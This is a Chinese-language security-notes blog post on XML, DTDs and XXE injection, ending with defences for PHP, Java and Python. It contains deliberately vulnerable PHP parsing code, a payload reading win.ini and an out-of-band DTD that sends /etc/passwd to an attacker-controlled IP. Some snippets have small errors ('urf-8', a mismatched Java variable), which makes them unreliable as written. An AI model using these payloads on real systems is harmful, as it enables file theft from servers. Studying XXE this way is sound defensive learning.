Web笔记(十三)XXE

这个系列是整理学习安全的笔记,包括Web和PWN的一些知识。本章是XML文件和XXE漏洞攻击的笔记内容。

Posted by K4ys0n on December 5, 2020

0x00 XXE注入漏洞简介

XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。因此我们有必要先学习XML文件。

0x01 XML

1. XML介绍

XML被设计用来传输和存储数据。XML文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”。XML允许创作者定义自己的标签和自己的文档结构。

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Dont forget me this weekend!</body>
</note>

2. XML语法

  • 所有的XML元素都必须有一个关闭标签。
  • XML标签对大小写敏感。
  • XML必须正确嵌套。
  • XML属性值必须加引号。
  • 实体引用。(\<为<,\>为>)
  • 在XML中,空格会被保留。

3. XML元素

XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。每个元素又可以有对应的属性,并且属性必须加引号。

  • XML文档必须有一个根元素。
  • XML元素都必须有一个关闭标签。
  • XML标签对大小写敏感。
  • XML元素必须被正确的嵌套。
  • XML属性值必须加引号。

4. XML DTD介绍

拥有正确语法的XML被称为“形式良好”的XML。通过DTD验证的XML是“合法”的XML。

<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Dont forget me this weekend!</message>
</note>

5. DTD声明类型

  • 内部的DOCTYPE声明:<!DOCTYPE root-element [element-declarations]> ```xml-dtd <?xml version=”1.0”?> <!DOCTYPE note[ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
Tove Jani Reminder Dont forget me this weekend!
- 外部文档声明

假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:`<!DOCTYPE root-element SYSTEM "filename">`

而在XML文件中写入:
```xml-dtd
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<message>Dont forget me this weekend!</message>
</note>
DTD文件note.dtd写入:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

6. DTD数据类型

  • PCDATA的意思是被解析的字符数据(parsed character data)。

PCDATA是被解析器解析的文本。这些文本将被解析器检查实体以及标记。

  • CDATA的意思是字符数据(character data)。

CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当做标记来对待,其中的实体也不会被展开。

7. DTD实体介绍

实体其实就是变量,是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 内部实体:<!ENTITY entity-name "entity-value">
  • 外部实体:<!ENTITY entity-name SYSTEM "URI/URL">

0x02 XXE漏洞构成

1. file_get_contents()函数

file_get_contents()函数把整个文件读入一个字符串中。

file_get_contents(path, include_path, context, start, max_length)

  • path 必需,规定要读取的文件
  • include_path 可选,如果也想在include_path中搜寻文件的话,可以将该参数设为“1”
  • context 可选,规定文件句柄的环境,context是一套可以修改流的行为的选项,若使用null,则忽略,该参数的支持是PHP5.0.0加的
  • start 可选,规定在文件中开始读取的位置,该参数是PHP5.1新加的
  • max_length 可选,规定读取的字节数,该参数是PHP5.1新加的

2. php://input

php://input是个可以访问请求的原始数据的只读流。

结合file_get_contents(“php://input”)可以读取POST提交的数据。

3. php中与XXE漏洞相关的函数和类

simplexml_load_string() — 将XML字符串解释为对象 simplexml_load_file() — 将XML文件解释为对象 simplexml_import_dom() — 从DOM节点获取SimpleXMLElement对象 Class SimpleXMLElement —— 构造函数返回表示数据的SimpleXMLElement对象 Class DOMDocument —— loadXML() 从字符串加载XML文档,返回True/False

4. simplexml_load_string()函数

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement。

例如:(注意格式是<<<XML XML;两个XML中间夹着XML内容)

$note=<<<XML<note>   <to>Tove</to>  <from>Janni</from>  <heading>Reminder</heading>  <body>Dont forget me this weekend!</body></note>XML;
$xml = simplexml_load_string($note);
print_r($xml);

0x03 XML漏洞利用——有回显

在PHP中可以使用print_r()、echo输出想要输出的内容。 完整存在XXE漏洞代码如下:

<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "<pre>";
print_r($data);    // 注释掉该语句即为无回显的情况
?>

以上代码需要POST请求,输入XML,这样就会被php://input接收到并被file_get_contents()函数转成字符串,然后由simplexml_load_string()函数转化成XML对象,print_r会输出对象全部信息,包括类信息。

POST请求数据部分修改XML内容如下:

<?xml version="1.0" encoding="urf-8"?>
<!DOCTYPE xxe [
<!EL    EMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>
<name>&xxe;</name>
</root>

利用file://协议获取服务器本地的文件,通过print_r()函数回显。

读取文件可以用:

  • file:///path/to/file.txt
  • http://url/file.txt
  • php://filter/read=convert.base64-encode/resource=conf.php

base64编码读出来的文件内容需要解码,Kali终端输入以下命令可以base64解码:

echo "base字符串" | base64 -d

0x04 XXE漏洞利用——无回显

首先环境假设有客户端A(攻击者)、服务端B、攻击者搭建的服务端C、资源(可以是B的本地或内网)。

A向B发送POST请求,并提交XML内容

<?xml version="1.0"?>

<!DOCTYPE foo SYSTEM "http://C的ip地址/test.dtd">
<foo>&e1;</foo>

然后B会向C服务器请求(C需要提前起一个HTTP服务)

http://C的ip地址/test.dtd

就会将dtd加载到B的本地来执行。test.dtd的内容:

<!ENTITY % p1 SYSTEM "file:///etc/passwd">    # 获取本地文件给攻击者
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://A的ip地址/test.php?con=%p1;'>">
%p2;

接着A只需要wireshark抓包查看请求结果。

0x05 XXE漏洞危害

  • 读取本地敏感文件内容
  • 对内网信息进行探测
  • 可能导致命令执行
  • 向服务器发起DDoS攻击

0x06 XXE漏洞防御

1. XXE漏洞消亡原因

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。

2. 防御措施

  • 关闭外部实体引用功能(最简单直接,并且安全)

使用开发语言提供的禁用外部实体的方法:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
df.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
  • 在服务器端进行白名单验证和过滤,如不能用白名单,可以用关键词过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

  • 及时修复或更新应用程序或底层操作系统使用的相关XML处理器和库

  • 使用XSD验证等验证方法来验证上传的XML文件